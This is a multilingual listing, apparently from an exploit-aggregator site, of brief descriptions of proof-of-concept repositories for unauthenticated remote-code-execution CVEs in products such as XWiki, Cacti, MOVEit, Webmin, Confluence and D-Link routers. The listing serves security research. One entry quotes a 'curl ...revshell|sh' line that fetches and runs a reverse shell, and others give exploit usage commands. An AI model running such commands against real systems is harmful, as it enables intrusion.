React2Shell-CVE-2025-55182

🎯 React2Shell CVE-2025-55182: De Componentes de Servidor React a RCE Completo Dificuldade: Intermediário → Avançado Categoria: Exploração Web | Desserialização | RCE 🧩 Tarefa 1: Introdução — Por que React2Shell é um Grande Problema CVE-2025-55182, apelidado de React2Shell , é uma daquelas...

CraftCMS_CVE-2023-41892

Craft CMS CVE-2023-41892 Há uma Execução Remota de Código não autenticada RCE afetando CraftCMS 4.0.0-RC1 - 4.4.14. Uso root@kitploit: python3 craft-cms.py http://target Requisitos O exploit utiliza requests. Instale com : root@kitploit: python3 -m pip install requests Agradecimentos...

Juniper-exploit-CVE-2023-36845

CVE-2023-36845 Descrição CVE-2023-36845 representa uma notável vulnerabilidade de manipulação de variáveis de ambiente PHP que afeta firewalls Juniper SRX e switches EX. Embora a Juniper tenha classificado esta vulnerabilidade como de gravidade média, neste artigo, vamos elucidar como esta única...

XWiki-Platform-RCE-CVE-2025-24893

Exploit RCE non autenticato su XWiki Platform Panoramica Questo script è un'implementazione Bash rivisitata di un exploit che colpisce le versioni della piattaforma XWiki affette da CVE-2025-24893. Sfrutta una critica vulnerabilità di esecuzione di codice remoto non autenticata che consente agli...

xwiki-cve-2025-24893

XWiki SolrSearch RCE بدون مصادقة CVE-2025-24893 المساهمون الدفعة الرابعة من مدرسة القبعة البيضاء، الفصل 25: إم دو-يون @endusdksla الملخص يقوم XWiki بتحليل صيغة الويكي والماكرو وتفسيرها على الخادم ثم عرضها. المشكلة أن صفحة Main.SolrSearch مفتوحة للزوار، وفي نفس الوقت يتم تقييم المعامل text المُدخل...

CVE-2023-35803

CVE-2023-35803 - Nicht authentifizierte RCE in Extreme Networks/Aerohive Wireless Access Points PoC für ARM-basierte Access Points mit HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup hier: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

CVE-2024-7627

Exploit para CVE-2024-7627 — Exploit de RCE não autenticado no Bit File Manager WordPress 📌 Descrição Este repositório contém um exploit de prova de conceito PoC para CVE-2024-7627 , uma vulnerabilidade crítica de Execução Remota de Código RCE não autenticada no plugin WordPress Bit File Manager...

confluence-hack

Confluence Hack CVE-2023-22515 exploit.py Exploit, um einen neuen Admin-Benutzer zu erstellen Kompromittiertes Audit-Log: Als Referenz diente: https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html und https://github.com/Chocapikk/CVE-2023-225...

CVE-2019-16920-MassPwn3r

Exploit 0day para vários roteadores D-Link A vulnerabilidade foi encontrada na firmware mais recente dos seguintes produtos D-Link: DIR-655 DIR-866L DIR-652 DHP-1565 Descrição Atual A execução remota de código não autenticada ocorre em produtos D-Link como DIR-655C, DIR-866L, DIR-652 e DHP-1565. ...

CVE-2022-46169

CVE-2022-46169 POC Questo è uno script Proof of Concept POC per la vulnerabilità CVE-2022-46169 che interessa Cacti versione 1.2.22. Descrizione La vulnerabilità CVE-2022-46169 consente un'iniezione di comandi non autenticata nelle versioni di Cacti fino alla 1.2.22, al fine di ottenere...

CVE-2019-9653

CVE-2019-9653 التاريخ الإفصاح: 03/11/2019 آخر تحديث: 03/15/2019 الملخص NUUO Inc. هي شركة تقدم حلول مراقبة تعتمد على الفيديو. لديها العديد من منتجات مسجلات الشبكة NVR لعملاء مختلفين باحتياجات متنوعة. هذه المسجلات هي أنظمة تسجيل فيديو مدمجة تعمل بنظام Linux ويمكنها إدارة عدة كاميرات. في الوقت الحال...

CVE-2021-45232-RCE

CVE-2021-45232 CVE-2021-45232 Apache APISIX Dashboard API unberechtigter RCE Version: 2.10.1 Fofa: Titel="Apache APISIX Dashboard" PoC: root@kitploit: IP:PORT/apisix/admin/migrate/export...

CVE-2026-39938

Rapporto di vulnerabilità: Cacti RCE non autenticato su Graph Image Ricercatore: K | Prodotto: Cacti ≤ 1.2.30 | CVE: CVE-2026-39938 01 Riepilogo della vulnerabilità...

MoveIT-CVE-2023-34362-RCE

CVE-2023-34362: MOVEit Transfer RCE non autenticato Per una descrizione tecnica completa della vulnerabilità e dello sfruttamento, leggi la nostra Analisi di AttackerKB. Utilizzo ruby move.rb ruby move.rb 192.168.86.111 + Avvio. target='https://192.168.86.111'. + Ottenuto token di sessione inizia...

webmin_1.920

CVE-2019-15107 Webmin 1.920 अप्रमाणित रिमोट कमांड निष्पादन CVE-2019-15107 Webmin 1.920 अप्रमाणित रिमोट कमांड निष्पादन के लिए एक python3 स्क्रिप्ट जो फ़ायरवॉल चकमा देने के लिए mkfifo का उपयोग करके एक रिवर्स शेल या एक स्यूडो इंटरैक्टिव शेल बनाती है आरंभ करना प्रोग्राम निष्पादित करना python3 के साथ...

CVE-2025-69457

CVE-2025-69457 – Responsive Tourism Website 3.1 Remote Code Execution RCE Unauthenticated WriteUp CVE-2025-69457 – ExploitDB 50049...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect RCE CVE-2023-43208 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Mirth Connect के 4.4.1 से पहले के संस्करणों में एक अप्रमाणित रिमोट कोड निष्पादन भेद्यता। विवरण Mirth Connect एक व्यापक रूप से तैनात ओपन-सोर्स हेल्थकेयर इंटीग्रेशन इंजन है। यह भेद्यता /api/users एंडपॉइंट के माध्यम से...

CVE-2026-48907

🚨 CVE-2026-48907 - JCE Joomla Content Editor अनधिकृत दूरस्थ कोड निष्पादन ⚠️ JCE Joomla Content Editor में महत्वपूर्ण अनधिकृत RCE एक महत्वपूर्ण अभिगम नियंत्रण भेद्यता जो अनधिकृत हमलावरों को JCE चला रहे असुरक्षित Joomla इंस्टॉलेशन से समझौता करने की अनुमति देती है। 📖 अवलोकन CVE-2026-48907 Joomla...

CVE-2025-55182

CVE-2025-55182 Preuve de concept pour CVE-2025-55182, une RCE critique non authentifiée dans les composants serveur React. ⚠️ Avertissement Ce document est fourni strictement à des fins éducatives, défensives et de recherche en sécurité autorisée. Ne PAS tenter d'exploiter des systèmes ou...

Vuln_Exploitation_MegaQuagga_Pentest

भेद्यता शोषण — MegaQuagga प्रवेश परीक्षण रिपोर्ट विश्लेषक: Samuel Weiss संगठन: 0x2A Security तारीख: 20 अप्रैल, 2026 ग्राहक: MegaQuagga Publishing लक्ष्य: www.megaquagga.local वर्गीकरण: गोपनीय अवलोकन यह परियोजना MegaQuagga Publishing वेब वातावरण के विरुद्ध किए गए एक संरचित प्रवेश परीक्षण का...